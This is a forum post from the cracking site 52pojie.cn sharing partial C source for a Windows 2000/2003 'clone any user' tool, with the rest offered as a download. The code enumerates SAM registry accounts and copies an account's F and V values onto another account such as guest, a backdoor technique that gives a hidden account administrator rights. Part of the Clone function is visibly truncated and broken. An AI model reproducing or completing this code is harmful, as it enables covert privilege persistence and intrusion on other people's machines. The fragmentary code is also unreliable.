吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4755|回复: 4
收起左侧

[C&C++ 转载] window2000与2003下克隆任意用户程序--源码

[复制链接]
mhsytalc 发表于 2011-4-1 16:54
以下为部分源码,如喜欢请下载附件,被忘了给金币哦!

//如何使用命令行参数的方法:
for (n=1;n<argc;n++)
{
if (argv[n][0] == '-')
{
switch(argv[n][1])
{
case '?':
case 'h':
case 'H':Usage();
break;
case 'l':
case 'L':ListUser();
    old();
break;
case 'c':
case 'C':
if(argc<3)
{printf("Useage:%s -c 1F5\n",argv[0]);
old();
break;}
strcpy(C_Sid,argv[2]);//获得屏幕输入并存入C_Sid字符数组
if (strlen(C_Sid)<=10)
Clone(C_Sid);
else
printf("Error\n");
//恢复注册表的权限:
old();
    break;
}
}
}
}

void OpenKey (char *key)
{
HKEY hkey;//注册表键值的句柄
DWORD dwIndex=0,lpcbname=100,ret=0;
char T_name[100],Buffer[100];
FILETIME lpftlast;
int i=0;
//下面是字符数组清0:
ZeroMemory(Buffer,100);
ZeroMemory(T_name,100);
ZeroMemory(name,1500);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
key, //传递一个参数,欲打开的注册表项
0, //未用,设为0即可
KEY_ALL_ACCESS, //描述新键值安全性的访问掩码
//它们的组合描述了允许对这个项进行哪些操作
&hkey);//装载上面打开项的句柄
for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍历子键中的每个值
{
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
NULL,NULL,NULL,&lpftlast);
//dwIndex:欲获取的子项的索引。第一个子项的索引编号为零
//T_name:用于装载指定索引处项名的一个缓冲区
//&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。
//一旦返回,它会设为实际装载到lpName缓冲区的字符数量
//NULL:未用,设为零
//NULL:项使用的类名
//NULL:用于装载lpClass缓冲区长度的一个变量
//&lpftlast:FILETIME,枚举子项上一次修改的时间
strcat(name[i],T_name);//将每个子键名加入到name[i]数组中
ZeroMemory(T_name,100);//清0
lpcbname=100;
}
//printf("subkey=%s\n",name[0]);//administrator
RegCloseKey(hkey); //关闭注册键
//拼接用户名:
for(KeyN=0;KeyN<i;KeyN++)
{
strcat(Buffer,name[KeyN]);
strcat(Buffer,"\n\r");
}
}
int ViewUser (char *key)
{
HKEY hkey;
DWORD lpType=0,ret;
char S_name[10];

ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,//如://SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
0,
KEY_ALL_ACCESS,
&hkey);
if(ret==ERROR_SUCCESS)
    ;
else
return 0;
RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);
//NULL:要获取值的名字
//NULL:未用,设为零
//&lpType:用于装载取回数据类型的一个变量
//NULL:用于装载指定值的一个缓冲区
//NULL:用于装载lpData缓冲区长度的一个变量
wsprintf(S_name,"%X\n\r",lpType);
printf("%s",S_name);
return 1;
}
int ListUser (void)
{
int n;
char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
char Temp[40]={'\0'};
OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");
for(n=0;n<KeyN;n++)
{
strcat(Buffer,name[n]);//SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
wsprintf(Temp,name[n]);
strcat(Temp,"===>");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
}
return 1;
}
int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;
&hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出F值然后存入lpDataF中:
ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);
if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出v值然后存入lpDataV中:
ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);
if(ret==ERROR_SUCCESS)
;
else
return 0;
//下面是打开需克隆用户如guest的键值:
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5
0,
KEY_ALL_ACCESS,
&C_hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
以上为部分源码,如喜欢请下载附件,被忘了给金币哦!

2003与2000下克隆任意用户程序.txt

8.39 KB, 下载次数: 9, 下载积分: 吾爱币 -1 CB

52pojie.cn

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

静钟eric 发表于 2011-4-1 17:37
不懂啥意思,呵呵呵
yjw3721 发表于 2011-4-1 18:52
zhaokang 发表于 2011-7-22 10:54
teamtopkarl 发表于 2013-4-7 10:34
以前有的,搞丢了,下下来再编译下
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-28 03:48

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表